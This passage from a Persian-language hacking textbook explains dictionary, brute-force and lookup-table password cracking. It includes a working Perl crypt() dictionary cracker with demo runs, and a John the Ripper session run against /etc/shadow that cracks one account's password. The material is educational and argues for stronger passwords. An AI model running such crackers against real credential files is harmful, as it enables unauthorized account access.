‫ﻣﻮﺟﻮد در ﻓﺎﯾﻞ ﭘﺴﻮرد ﯾﮑﺴﺎن ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﯾﻦ روﻧﺪ ﺑـﺪون ﻧﯿـﺎز ﺑـﻪ ذﺧﯿـﺮه ﭘـﺴﻮرد ﺑـﻪ ﺻـﻮرت ﻣـﺘﻦ واﺿـﺢ‪ ،‬اﻣﮑـﺎن‬
‫اﻋﺘﺒﺎرﺳﻨﺠﯽ را ﻓﺮاﻫﻢ ﻣﯽ آورد‪.‬‬

‫‪107‬‬
‫‪One-Way‬‬
‫‪108‬‬
‫‪Legitimate User‬‬
‫‪167‬‬
‫‪ .4,6,1‬ﺣﻤﻼت ﻣﺒﺘﻨﯽ ﺑﺮ ﻟﻐﺖ ﻧﺎﻣﻪ )‪(Dictionary‬‬

‫اﻧﺪﮐﯽ ﻓﮑﺮ ﺑﻪ اﯾﻦ ﻧﺘﯿﺠﻪ ﻣﯽ اﻧﺠﺎﻣﺪ ﮐﻪ ﭘﺴﻮردﻫﺎی رﻣﺰﺷﺪه در ﻓﺎﯾﻞ ﭘﺴﻮرد آﻧﭽﻨﺎن ﻫﻢ ﺑـﻼ اﺳـﺘﻔﺎده ﻧﯿـﺴﺘﻨﺪ‪ .‬از ﻟﺤـﺎظ‬
‫رﯾﺎﺿﯽ ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ ﻣﻌﮑﻮس ﮐﺮدن ﻫﺶ ﻏﯿﺮ ﻣﻤﮑﻦ اﺳﺖ‪ ،‬اﻣﺎ اﯾﻦ اﻣﮑﺎن وﺟﻮد دارد ﺗﺎ ﺗﻤﺎم ﮐﻠﻤﺎت ﻣﻮﺟﻮد در ﯾـﮏ‬
‫ﻟﯿﺴﺖ ﭘﺴﻮرد ﯾﺎ ﻟﻐﺘﻨﺎﻣﻪ را ﺑﺎ اﺳﺘﻔﺎده از ﻣﻘﺪار ‪ salt‬ﻣﺮﺑﻮط ﺑﻪ ﻫﺶ ﻣﻮرد ﻧﻈﺮ )ﻫﺶ ﻣﻮرد ﻧﻈﺮ ﺟﻬﺖ ﮐﺮک ﮐـﺮدن آن(‪،‬‬
‫ﻫﺶ ﮐﺮد‪ ،‬ﺳﭙﺲ ﻧﺘﯿﺠﻪ را ﺑﺎ ﻫﺶ اﺻﻠﯽ ﻣﻘﺎﯾﺴﻪ ﻧﻤﻮد‪ .‬اﮔﺮ ﻫﺶ ﻫﺎ ﻣﻄﺎﺑﻖ ﻫﻢ ﺑﺎﺷﻨﺪ‪ ،‬ﻣﯽ ﺗﻮان ﻧﺘﯿﺠـﻪ ﮔﺮﻓـﺖ ﮐـﻪ ﮐﻠﻤـﻪ‬
‫ﻣﺘﻨﺎﻇﺮ ﻫﺶ ﺑﺪﺳﺖ آﻣﺪه در ﻟﻐﺘﻨﺎﻣﻪ ﻫﻤﺎن ﭘﺴﻮرد ﻣﺎ ﺑﻪ ﺣﺎﻟﺖ ﻣﺘﻦ واﺿﺢ اﺳﺖ‪.‬‬
‫ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎده ﺣﻤﻠﻪ‪-‬ﻟﻐﺖ ﻧﺎﻣﻪ را ﻣﯽ ﺗﻮان ﺑﻪ آﺳﺎﻧﯽ در ﭘﺮل ﻃﺮاﺣﯽ ﮐﺮد‪ .‬اﺳﮑﺮﯾﭙﺖ ﭘﺮل زﯾﺮ ﮐﻠﻤﺎت را از اﺳﺘﺎﻧﺪارد‬
‫ورودی ﻣﯽ ﺧﻮاﻧﺪ‪ ،‬ﺳﭙﺲ ﺗﻤﺎم آﻧﻬﺎ را ﺑﺎ ﻣﻘﺪار ‪ salt‬ﻣﻨﺎﺳﺐ ﻫﺶ ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ ﺗﻄﺎﺑﻘﯽ ﺑﯿﻦ ﻣﻘﺪار ﻫـﺶ ﺑﺪﺳـﺖ آﻣـﺪه و‬
‫ﻫﺶ اﺻﻠﯽ ﺑﺎﺷﺪ‪ ،‬ﮐﻠﻤﻪ ﻣﺘﻨﺎﻇﺮ ﻧﯿﺰ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ و اﺳﮑﺮﯾﭙﺖ ﺧﺎﺗﻤﻪ ﻣﯽ ﯾﺎﺑﺪ‪.‬‬
‫‪File: crack.pl‬‬

‫‪#!/usr/bin/perl‬‬
‫‪# Get the hash to crack from the first command-line argument‬‬
‫;‪$hash = shift‬‬
‫;)‪$salt = substr($hash,0,2‬‬ ‫‪# The salt is the first 2 chars‬‬

‫;"‪print "Cracking the hash '$hash' using words from standard input..\n‬‬
‫‪while(defined($in = <STDIN>)) # Read from standard input‬‬
‫{‬
‫;‪chomp $in‬‬ ‫‪# Remove the hard return‬‬
‫‪if(crypt($in, $salt) eq $hash) # If the hashes match...‬‬
‫{‬
‫‪print "Password is: $in\n"; # Print the password‬‬
‫;‪exit‬‬ ‫‪# and exit.‬‬
‫}‬
‫}‬
‫;"‪print "The password wasn't found in the words from standard input.\n‬‬
‫ﺧﺮوﺟﯽ زﯾﺮ اﺟﺮای اﯾﻦ اﺳﮑﺮﯾﭙﺖ ﭘﺮل را ﻧﺸﺎن ﻣﯽ دﻫﺪ‪:‬‬
‫';"‪$ perl -e '$hash = crypt("test", "je"); print "$hash\n‬‬
‫‪jeHEAX1m66RV.‬‬
‫‪$ cat /usr/share/dict/words | crack.pl jeHEAX1m66RV.‬‬
‫‪Cracking the hash 'jeHEAX1m66RV.' using words from standard input..‬‬
‫‪Password is: test‬‬
‫‪$ grep "^test$" /usr/share/dict/words‬‬
‫‪test‬‬
‫‪$‬‬
‫در اﯾﻦ ﻣﺜﺎل ﮐﻠﻤﺎت ﻣﻮﺟﻮد در ‪ /usr/share/dict/words‬در اﺳﮑﺮﯾﭙﺖ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﭼﻮن ﮐﻠﻤـﻪ "‪ "test‬ﭘـﺴﻮرد‬
‫اﺻﻠﯽ اﺳﺖ و ﻧﯿﺰ در ﻓﺎﯾﻞ ‪ words‬ﻧﯿﺰ وﺟﻮد دارد‪ ،‬ﻟﺬا ﻫﺶِ ﭘﺴﻮرد ﻧﻬﺎﯾﺘﺎ ﮐﺮک ﺧﻮاﻫﺪ ﺷﺪ‪ .‬دﻟﯿﻞ اﯾﻦ ﻣﺴﺌﻠﻪ ﮐﻪ اﺳﺘﻔﺎده‬
‫از ﭘﺴﻮردﻫﺎﯾﯽ ﮐﻪ در ﻟﯿﺴﺖ ﻫﺎی ﭘﺴﻮرد ﯾﺎ ﻟﻐﺘﻨﺎﻣﻪ ﻫﺎ وﺟﻮد دارﻧﺪ )ﯾﺎ ﻣﺒﺘﻨـﯽ ﺑـﺮ آﻧﻬـﺎ ﻫـﺴﺘﻨﺪ( را ﯾـﮏ ﻋـﺎدت اﻣﻨﯿﺘـﯽ‬
‫ﺿﻌﯿﻒ ﻣﯽ داﻧﻨﺪ ﻧﯿﺰ روﺷﻦ ﺷﺪ‪.‬‬
‫ﻣﺸﮑﻞ اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻧﯿﺰ اﯾﻦ اﺳﺖ ﮐﻪ اﮔﺮ ﭘﺴﻮرد اﺻﻠﯽ در ﻓﺎﯾﻞ ﻟﻐﺖ ﻧﺎﻣﻪ )دﯾﮑﺸﻨﺮی( ﻣﻮﺟﻮد ﻧﺒﺎﺷﺪ‪ ،‬اﻣﮑـﺎن ﯾـﺎﻓﺘﻦ‬
‫ﭘﺴﻮرد ﻧﺨﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﺮای ﻣﺜﺎل‪ ،‬اﮔﺮ ﯾﮏ ﮐﻠﻤﻪ ﻣﺎﻧﻨﺪ "‪ "h4R%‬ﺑﻪ ﻋﻨـﻮان ﯾـﮏ ﭘـﺴﻮرد اﻧﺘﺨـﺎب ﺷـﻮد و اﯾـﻦ ﮐﻠﻤـﻪ در‬
‫دﯾﮑﺸﻨﺮی ﻣﻮرد اﺳﺘﻔﺎده ﻣﻮﺟﻮد ﻧﺒﺎﺷﺪ‪ ،‬اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻗﺎدر ﺑﻪ ﯾﺎﻓﺘﻦ آن ﻧﺨﻮاﻫﻨـﺪ ﺑـﻮد‪ .‬اﯾـﻦ ﻣـﺴﺌﻠﻪ در زﯾـﺮ ﻧﻤﺎﯾـﺎن‬
‫اﺳﺖ‪:‬‬
‫';"‪$ perl -e '$hash = crypt("h4R%", "je"); print "$hash\n‬‬
‫‪jeMqqfIfPNNTE‬‬
‫‪$ cat /usr/share/dict/words | crack.pl jeMqqfIfPNNTE‬‬
‫‪Cracking the hash 'jeMqqfIfPNNTE' using words from standard input..‬‬
‫‪The password wasn't found in the words from standard input.‬‬
‫‪$‬‬

‫‪168‬‬
‫ﻓﺎﯾﻞ ﻫﺎی دﯾﮑﺸﻨﺮی ﺳﻔﺎرﺷﯽ‪ 109‬را ﻣﯿﺘﻮان ﺑﺎ اﺳﺘﻔﺎده از زﺑﺎن ﻫﺎ ﻣﺨﺘﻠـﻒ‪ ،‬ﺗﻐﯿﯿـﺮات اﺳـﺘﺎﻧﺪارد روی ﮐﻠﻤـﺎت )از ﻗﺒﯿـﻞ‬
‫ﺗﺒﺪﯾﻞ ﺣﺮوف ﺑﻪ ارﻗﺎم(‪ ،‬اﺿﺎﻓﻪ ﮐﺮدن اﻋﺪاد ﺑﻪ اﻧﺘﻬﺎی ﻫﺮ ﮐﻠﻤﻪ ﯾﺎ ﻣﺴﺎﺋﻠﯽ از اﯾﻦ ﻗﺒﯿﻞ ﺳﺎﺧﺖ‪ .‬اﮔﺮﭼـﻪ ﯾـﮏ دﯾﮑـﺸﻨﺮی‬
‫ﺑﺰرﮔﺘﺮ ﮐﻠﻤﺎت ﺑﯿﺸﺘﺮی را دارا اﺳﺖ‪ ،‬اﻣﺎ ﺑﻪ ﻫﻤﺎن ﺗﻨﺎﺳﺐ ﻧﯿﺰ زﻣﺎن ﺑﯿﺸﺘﺮی ﺑﺮای ﭘﺮدازش آن ﻧﯿﺎز اﺳﺖ‪.‬‬

‫‪ .4,6,2‬ﺣﻤﻼت ﺟﺎﻣﻊ ‪Brute-Force‬‬

‫ﯾﮏ ﺣﻤﻠﻪ دﯾﮑﺸﻨﺮی ﮐﻪ ﻫﺮ ﺗﺮﮐﯿﺐ واﺣﺪ ﻣﻤﮑﻦ را اﻣﺘﺤﺎن ﮐﻨﺪ‪ ،‬اﺻﻄﻼﺣﺎ ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ ‪ 110brute-force‬ﻣﯽ ﻧـﺎﻣﯿﻢ‪.‬‬
‫اﮔﺮﭼﻪ از ﻟﺤﺎظ ﻓﻨﯽ‪ ،‬اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻗﺎدر ﺑﻪ ﮐﺮک ﮐﺮدن ﻫﺮ ﭘﺴﻮرد ﻣﻤﮑﻦ ﻣﯽ ﺑﺎﺷﻨﺪ‪ ،‬اﻣﺎ زﻣﺎن ﻓﻮق اﻟﻌﺎده زﯾﺎدی ﻻزم‬
‫اﺳﺖ‪.‬‬
‫ﺑﺎ ‪ 95‬ﮐﺎراﮐﺘﺮ ورودی ﻣﻤﮑﻦ ﺑﺮای ﭘﺴﻮردﻫﺎی ﺑﻪ ﺳﺒﮏ )(‪ ،crypt‬ﺗﻌﺪاد ‪ 958‬رﻣﺰﻋﺒﻮر ﺑﺮای ﯾـﮏ ﺟـﺴﺘﺠﻮی ﺟـﺎﻣﻊ در‬
‫ﺗﻤﺎم ﻫﺸﺖ ﮐﺎراﮐﺘﺮ وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ ﮐﻪ ﺣﺪودا ﻫﻔﺖ ﮐﺎدرﯾﻠﯿﻮن ﭘﺴﻮرد را ﺷﺎﻣﻞ ﻣﯽ ﺷـﻮد‪ .‬اﯾـﻦ ﺗﻌـﺪاد ﺑـﻪ ﻣﺤـﺾ‬
‫اﺿﺎﻓﻪ ﺷﺪن ﮐﺎراﮐﺘﺮ دﯾﮕﺮی ﺑﻪ ﻃﻮل ﭘﺴﻮرد‪ ،‬ﺑﻪ ﻃﻮر ﻗﺎﺑﻞ ﻣﻼﺣﻈـﻪ ای اﻓـﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑـﺪ‪ ،‬ﭼـﻮن ﺑـﺎ اﺿـﺎﻓﻪ ﺷـﺪن ﯾـﮏ‬
‫ﮐﺎراﮐﺘﺮ ﺑﻪ ﻃﻮل ﭘﺴﻮرد‪ ،‬ﺗﻌﺪاد ﭘﺴﻮردﻫﺎی ﻣﻤﮑﻦ ﻧﯿﺰ ﺑﻪ ﻃﻮر ﺻﻌﻮدی اﻓﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑﻨـﺪ‪ .‬ﺑـﺎ در ﻧﻈـﺮ ﮔـﺮﻓﺘﻦ اﻣﺘﺤـﺎن‬
‫‪ 10,000‬ﭘﺴﻮرد در واﺣﺪ زﻣﺎن‪ ،‬ﺗﻘﺮﯾﺒﺎ ‪ 22,875‬ﺳﺎل ﺟﻬﺖ اﻣﺘﺤﺎن ﺷﺪن ﺗﻤﺎم ﭘﺴﻮردﻫﺎ زﻣﺎن ﻻزم اﺳﺖ‪ .‬ﺗﻌﻤـﯿﻢ اﯾـﻦ‬
‫ﻓﺮآﯾﻨﺪ ﺑﺮ ﻣﺎﺷﯿﻦ ﻫﺎ و ﭘﺮدازﻧﺪه ﻫﺎی ﺑﯿﺸﺘﺮ ﯾﮏ راه ﻣﻤﮑﻦ ﺟﻬﺖ ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ اﯾﻦ ﻣﺸﮑﻞ اﺳﺖ‪ .‬اﻟﺒﺘﻪ در اﯾﻦ ﺻـﻮرت‬
‫ﻓﻘﻂ اﻓﺰاﯾﺶ ﺳﺮﻋﺖ ﺑﻪ ﺻﻮرت ﺧﻄﯽ )‪ (linear‬را ﺧﻮاﻫﯿﻢ داﺷﺖ‪ .‬اﮔﺮ ﻫﺰار ﻣﺎﺷﯿﻦ در اﺧﺘﯿﺎر داﺷﺘﻪ ﺑﺎﺷﯿﻢ ﮐﻪ ﻫﺮ ﮐﺪام‬
‫ﺗﻌﺪاد ‪ 10,000‬ﭘﺴﻮرد را در واﺣﺪ زﻣﺎن اﻣﺘﺤﺎن ﮐﻨﻨﺪ‪ ،‬آﻧﮕﺎه اﻣﺘﺤﺎن ﮐﺮدن ﺗﻤﺎم ﭘﺴﻮردﻫﺎ ﻫﻨﻮز ﺣﺪود ‪ 22‬ﺳـﺎل وﻗـﺖ‬
‫ﻧﯿﺎز دارد‪ .‬در ﺻﻮرت اﺿﺎﻓﻪ ﺷﺪن ﮐﺎراﮐﺘﺮ دﯾﮕﺮی ﺑﻪ ﻃﻮل ﭘﺴﻮرد‪ ،‬ﺳﺮﻋﺖ ﺧﻄﯽ ﺑﻮﺟﻮد آﻣﺪه ﮐﻪ ﺑﺎ اﺿﺎﻓﻪ ﮐﺮدن ﻣﺎﺷﯿﻦ‬
‫ﻫﺎی اﺿﺎﻓﯽ ﺣﺎﺻﻞ ﺷﺪ ﺑﻪ ﺻﻮرت ﺑﺤﺮاﻧﯽ )‪ (marginal‬ﺑﺎ رﺷﺪ ﻓﻀﺎی ﮐﻠﯿﺪ ﻣﻘﺎﯾﺴﻪ ﻣﯽ ﺷﻮد‪.‬‬
‫ﺧﻮﺷﺒﺨﺘﺎﻧﻪ ﻣﻌﮑﻮس رﺷﺪ ﻧﻤﺎﯾﯽ ﻧﯿﺰ ﺻﺤﯿﺢ اﺳﺖ‪ .‬ﺑﺎ ﮐﻢ ﺷﺪن ﮐﺎراﮐﺘﺮﻫﺎ از ﻃﻮل ﭘﺴﻮرد‪ ،‬ﺗﻌﺪاد ﭘﺴﻮردﻫﺎی ﻣﻤﮑـﻦ ﻧﯿـﺰ‬
‫ﺑﻪ ﻃﻮر ﻧﻤﺎﯾﯽ ﮐﺎﻫﺶ ﻣﯽ ﯾﺎﺑﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﯾﮏ ﭘﺴﻮرد ﭼﻬﺎر ﮐﺎراﮐﺘﺮی ﺗﻨﻬﺎ دارای ‪ 954‬ﭘﺴﻮرد ﻣﻤﮑﻦ در ﻓﻀﺎی ﺧﻮد‬
‫اﺳﺖ‪ .‬اﯾﻦ ﻓﻀﺎی ﮐﻠﯿﺪ ﺗﻨﻬﺎ ﺣﺪود ‪ 84‬ﻣﯿﻠﯿﻮن ﭘﺴﻮرد ﻣﻤﮑﻦ را ﺷﺎﻣﻞ ﻣـﯽ ﺷـﻮد ﮐـﻪ ﺑـﺎ ﻓـﺮض اﻣﺘﺤـﺎن ﺷـﺪن ‪10,000‬‬
‫ﭘﺴﻮرد در واﺣﺪ زﻣﺎن‪ ،‬ﻣﯽ ﺗﻮان ﺑﻪ ﺻﻮرت ﺟـﺎﻣﻊ آﻧـﺮا در ﯾـﮏ دوره زﻣـﺎﻧﯽ دو ﺳـﺎﻋﺘﻪ ﮐـﺮک ﮐـﺮد‪ .‬ﯾﻌﻨـﯽ ﺣﺘـﯽ اﮔـﺮ‬
‫ﭘﺴﻮردی ﻣﺎﻧﻨﺪ "‪ "h4R%‬در ﻫﯿﭻ دﯾﮑﺸﻨﺮی وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻣﯽ ﺗﻮان آﻧﺮا در ﯾﮏ دوره زﻣﺎﻧﯽ ﻣﻌﻘﻮل ﮐﺮک ﮐﺮد‪.‬‬
‫ﺑﻪ اﯾﻦ ﺻﻮرت ﻋﻼوه ﺑﺮ اﺟﺘﻨﺎب از اﻧﺘﺨﺎب ﭘﺴﻮردﻫﺎﯾﯽ ﮐﻪ در دﯾﮑﺸﻨﺮی ﻫﺎ وﺟﻮد دارﻧﺪ‪ ،‬ﻃﻮل ﭘﺴﻮرد ﻧﯿﺰ ﺣﺎﺋﺰ اﻫﻤﯿـﺖ‬
‫اﺳﺖ‪ .‬ﭼﻮن ﭘﯿﭽﯿﺪﮔﯽ در ﻓﻀﺎی ﭘﺴﻮردﻫﺎ ﺑﻪ ﺻﻮرت ﻧﻤﺎﯾﯽ اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ‪ ،‬ﻟﺬا دو ﺑﺮاﺑﺮ ﮐﺮدن اﻧﺪازه ﭘـﺴﻮرد و ﺗﻮﻟﯿـﺪ‬
‫ﯾﮏ ﭘﺴﻮرد ﻫﺸﺖ ﮐﺎراﮐﺘﺮی‪ ،‬ﺗﻌﺪاد ﭘﺴﻮردﻫﺎ و ﻫﻤﭽﻨﯿﻦ زﻣﺎن ﻻزم ﺑﺮای ﮐﺮک ﮐﺮدن آﻧﻬﺎ را ﺑـﻪ ﺻـﻮرت ﻧﻤـﺎﯾﯽ رﺷـﺪ‬
‫ﻣﯽ دﻫﺪ‪ .‬در ﻧﺘﯿﺠﻪ زﻣﺎن ﻻزم ﺑﺮای ﮐﺮک ﮐﺮدن ﯾﮏ ﭘﺴﻮرد ﻫﺸﺖ ﮐﺎراﮐﺘﺮی ﺑﻪ ﯾﮏ دوره زﻣﺎﻧﯽ ﻧﺎﻣﻌﻘﻮل و ﺑﺴﯿﺎر زﯾﺎد‬
‫رﺷﺪ ﭘﯿﺪا ﻣﯽ ﮐﻨﺪ )ﺧﺎﺻﯿﺖ ﻧﻤﺎﯾﯽ ﺗﻮاﺑﻊ(‪.‬‬
‫‪ Solar Designer‬ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﮐﺮک‪-‬ﭘﺴﻮرد ﺑﺎ ﻧﺎم ‪ John the Ripper‬را ﺗﻮﺳﻌﻪ داده ﮐﻪ ﻫﻢ ﻗﺎﺑﻠﯿﺖ ﮐـﺎر ﺑـﻪ ﺻـﻮرت‬
‫ﺣﻤﻠـــﻪ‪-‬دﯾﮑـــﺸﻨﺮی و ﻫـــﻢ ﺑـــﻪ ﺻـــﻮرت ﺣﻤﻠـــﻪ ﺟـــﺎﻣﻊ ‪ brute-force‬را دارد‪ .‬اﯾـــﻦ ﺑﺮﻧﺎﻣـــﻪ ﻣﻌـــﺮوف از آدرس‬
‫‪ http://openwall.com/john/‬ﻗﺎﺑﻞ دﺳﺘﺮس اﺳﺖ‪.‬‬
‫‪# john‬‬

‫‪John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer‬‬

‫]‪Usage: john [OPTIONS] [PASSWORD-FILES‬‬

‫‪109‬‬
‫‪Customized Dictionary Files‬‬
‫‪110‬‬
‫‪Exhaustive Brute-Force Attack‬‬
‫‪169‬‬
-single "single crack" mode
-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin
-rules enable rules for wordlist mode
-incremental[:MODE] incremental mode [using section MODE]
-external:MODE external mode or word filter
-stdout[:LENGTH] no cracking, just write words to stdout
-restore[:FILE] restore an interrupted session [from FILE]
-session:FILE set session file name to FILE
-status[:FILE] print status of a session [from FILE]
-makechars:FILE make a charset, FILE will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:[-]LOGIN|UID[,..] load this (these) user(s) only
-groups:[-]GID[,..] load users of this (these) group(s) only
-shells:[-]SHELL[,..] load users with this (these) shell(s) only
-salts:[-]COUNT load salts with at least COUNT passwords only
-format:NAME force ciphertext format NAME
(DES/BSDI/MD5/BF/AFS/LM)
-savemem:LEVEL enable memory saving, at LEVEL 1..3
# john /etc/shadow
Loaded 44 passwords with 44 different salts (FreeBSD MD5 [32/32])
guesses: 0 time: 0:00:00:19 8% (1) c/s: 248 trying: orez8
guesses: 0 time: 0:00:00:59 13% (1) c/s: 242 trying: darkcube[
guesses: 0 time: 0:00:04:09 55% (1) c/s: 236 trying: ghost93
guesses: 0 time: 0:00:06:29 78% (1) c/s: 237 trying: ereiamjh9999984
guesses: 0 time: 0:00:07:29 90% (1) c/s: 238 trying: matrix1979
guesses: 0 time: 0:00:07:59 94% (1) c/s: 238 trying: kyoorius1919
guesses: 0 time: 0:00:08:09 95% (1) c/s: 238 trying: jigga9979
guesses: 0 time: 0:00:08:39 0% (2) c/s: 238 trying: qwerty
guesses: 0 time: 0:00:14:49 1% (2) c/s: 239 trying: dolphins
guesses: 0 time: 0:00:16:49 3% (2) c/s: 240 trying: Michelle
guesses: 0 time: 0:00:18:19 4% (2) c/s: 240 trying: Sadie
guesses: 0 time: 0:00:23:19 5% (2) c/s: 239 trying: kokos
guesses: 0 time: 0:00:48:09 12% (2) c/s: 233 trying: fugazifugazi
guesses: 0 time: 0:01:02:19 16% (2) c/s: 239 trying: MONSTER
guesses: 0 time: 0:01:32:09 23% (2) c/s: 237 trying: legend7
testing7 (ereiamjh)
guesses: 1 time: 0:01:37:29 24% (2) c/s: 237 trying: molly9
Session aborted
#
.‫" اﺳﺖ‬testing7" ‫" دارای ﭘﺴﻮرد‬ereiamjh" ‫در اﯾﻦ ﺧﺮوﺟﯽ واﺿﺢ اﺳﺖ ﮐﻪ اﮐﺎﻧﺖ‬

(HLT) ‫ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ‬.4,6,3

‫ اﮔﺮ ﺗﻤﺎم‬.‫ ﺑﺰرگ اﺳﺖ‬111(HLT) ‫ﻧﻈﺮﯾﻪ ﺟﺎﻟﺐ دﯾﮕﺮ ﺟﻬﺖ ﮐﺮک ﮐﺮدن ﭘﺴﻮرد در اﺳﺘﻔﺎده از ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ‬
،‫ﻫﺶ ﺑﺮای ﺗﻤﺎم ﭘﺴﻮردﻫﺎ ﻣﻤﮑﻦ از ﻗﺒﻞ ﻣﺤﺎﺳﺒﻪ ﺷﺪه و در ﻣﺤﻠﯽ در ﯾﮏ ﺳﺎﺧﺘﻤﺎن داده ای ﻗﺎﺑﻞ ﺟﺴﺘﺠﻮ ذﺧﯿـﺮه ﺷـﻮد‬
‫ ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ ﯾـﮏ‬.‫ﮐﺮک ﺷﺪن ﭘﺴﻮرد ﺑﻪ اﻧﺪازه زﻣﺎن ﻣﻮرد ﻧﯿﺎز ﺟﻬﺖ ﺟﺴﺘﺠﻮی آن ﺳﺎﺧﺘﻤﺎن داده زﻣﺎن ﻣﯽ ﻃﻠﺒﺪ‬
‫( ﻣﻮﺟﻮد در‬entry) ‫ ﺑﺮاﺑﺮ ﺑﺎ ﺗﻌﺪاد اﻗﻼم‬N ‫ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ‬O(log2 N) ‫ زﻣــﺎن ﻣــﻮرد ﻧــﯿﺎز ﺑﺮاﺑﺮ ﺑﺎ‬،‫ﺟﺴﺘﺠﻮی دودوﯾﯽ‬
O(8 log2 ‫ ﻟـﺬا اﯾـﻦ روش در ﺣـﺪود‬،‫ ﻣﯽ ﺑﺎﺷﺪ‬958 ‫ ﺑﺮاﺑﺮ ﺑﺎ‬N ،‫ ﮐﺎراﮐﺘﺮی‬8 ‫ ﭼﻮن در ﻣﻮرد ﭘﺴﻮردﻫﺎی‬.‫ﺟﺪول اﺳﺖ‬
.‫ ﮐﺎر ﺧﻮد را ﺗﻤﺎم ﺧﻮاﻫﺪ ﮐﺮد ﮐﻪ زﻣﺎن ﺳﺮﯾﻌﯽ اﺳﺖ‬95)
‫ ﺑﻌـﻼوه ﻃﺮاﺣـﯽ‬.‫ﺑﻬﺮﺣﺎل ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ ﻣﺎﻧﻨﺪ آن ﺑﻪ ﺻـﺪﻫﺰار ﺗﺮاﺑﺎﯾـﺖ ﻓـﻀﺎ ﺟﻬـﺖ ذﺧﯿـﺮه ﻣﻔـﺎد ﻧﯿـﺎز دارد‬
‫ ﻧﯿـﺰ در ﺧـﻮر‬salt ‫ اﻣـﺎ ﻣﻘـﺪار‬،‫ اﯾﻦ ﻧﻮع از ﺣﻤﻼت را ﻧﯿﺎزﻣﻨﺪ رﺳﯿﺪﮔﯽ ﺑﯿﺸﺘﺮی ﻣـﯽ ﺑﯿﻨـﺪ‬،‫اﻟﮕﻮرﯾﺘﻢ ﻫﺶ ﮐﺮدن ﭘﺴﻮرد‬
‫ ﻟـﺬا ﺑـﺎ‬،‫ ﺑﻪ ﻫﺶ ﻫﺎی ﭘﺴﻮرد ﻣﺘﻔﺎوﺗﯽ ﺗﺒﺪﯾﻞ ﻣﯽ ﺷـﻮﻧﺪ‬،salt ‫ ﭼﻮن ﭼﻨﺪ ﭘﺴﻮرد ﻣﺘﻦ واﺿﺢ ﺑﺎ ﻣﻘﺎدﯾﺮ ﻣﺨﺘﻠﻒ‬.‫ﺗﻮﺟﻪ اﺳﺖ‬

111
Hash Look-up Table
170
‫ﻫﺮ ﻣﻘﺪار ‪ salt‬ﺑﺎﯾﺴﺘﯽ ﺟﺪول ﻣﺮاﺟﻌﻪ ﺟﺪاﮔﺎﻧﻪ ای ﺗﻬﯿﻪ ﺷﻮد‪ .‬ﺑﺎ ﺗﺎﺑﻊ )(‪ crypt‬ﺗﻌﺪاد ‪ 4,096‬ﻣﻘـﺪار ‪ salt‬ﻣﻤﮑـﻦ وﺟـﻮد‬
‫دارد‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﺣﺘﯽ ﺗﻬﯿﻪ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ ﺑﺮای ﯾﮏ ﻓﻀﺎی ﮐﻠﯿﺪ ﮐﻮﭼﮑﺘﺮ )ﻣﺎﻧﻨﺪ ﺗﻤﺎم ﭘﺴﻮردﻫﺎی ‪ 4‬ﮐﺎراﮐﺘﺮی‬
‫ﻣﻤﮑﻦ( ﻧﯿﺰ ﻏﯿﺮ ﻋﻤﻠﯽ ﻣﯽ ﺷﻮد‪ .‬ﻓﻀﺎی ذﺧﯿﺮه ای ﻣﻮرد ﻧﯿﺎز ﺟﻬﺖ ﻧﮕﻬﺪاری ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ واﺣﺪ‪ ،‬ﺑﺮای ﯾﮏ ﻣﻘـﺪار‬
‫ﺛﺎﺑﺖ ‪ salt‬و ﺗﻤﺎم ﭘﺴﻮردﻫﺎی ﻣﻤﮑﻦ ‪ 4‬ﮐﺎراﮐﺘﺮی ﺣﺪودا ‪ 1‬ﮔﯿﮕﺎﺑﺎﯾﺖ اﺳﺖ‪ ،‬اﻣﺎ ﺑـﻪ دﻟﯿـﻞ ﻓﺮاواﻧـﯽ ﻣﻘـﺎدﯾﺮ ‪ ،salt‬ﺗﻌـﺪاد‬
‫‪ 4,096‬ﻫﺶ ﻣﻤﮑﻦ ﺑﺮای ﯾﮏ ﭘﺴﻮرد ﻣﺘﻦ واﺿﺢ واﺣﺪ ﻣﻮرد ﻧﯿﺎز اﺳﺖ ﮐﻪ ﺧﻮد ﻣﺴﺘﻠﺰم اﯾﺠﺎد ‪ 4,096‬ﺟـﺪول ﺟﺪاﮔﺎﻧـﻪ‬
‫اﺳﺖ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ‪ ،‬ﻓﻀﺎی ذﺧﯿﺮه ﺳﺎزی ﻣﻮرد ﻧﯿﺎز را ﺑﻪ ‪ 4,6‬ﺗﺮاﺑﺎﯾﺖ اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ ﮐﻪ ﻋﻤﻼ اﻧﺴﺎن را از اﺟﺮای ﭼﻨـﯿﻦ‬
